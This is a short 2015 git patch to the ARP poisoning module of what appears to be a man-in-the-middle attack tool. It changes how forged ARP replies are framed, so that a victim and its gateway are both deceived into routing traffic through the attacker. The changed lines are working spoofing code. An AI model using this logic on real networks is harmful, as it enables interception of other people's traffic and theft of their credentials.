From 13408af31b243ce5e8a3b5b0e442b454776f997a Mon Sep 17 00:00:00 2001 From: HAMIDx9 Date: Tue, 1 Sep 2015 18:05:31 +0430 Subject: [PATCH] Probable fix for #178 --- core/poisoners/ARP.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/poisoners/ARP.py b/core/poisoners/ARP.py index 24e0b0f..aee7951 100644 --- a/core/poisoners/ARP.py +++ b/core/poisoners/ARP.py @@ -214,8 +214,8 @@ class ARPpoisoner: if targetmac is not None: try: #log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) - self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) - self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) + self.s2.send(Ether(src=self.mymac, dst=targetmac)/ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) + self.s2.send(Ether(src=targetmac, dst=self.gatewaymac)/ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e))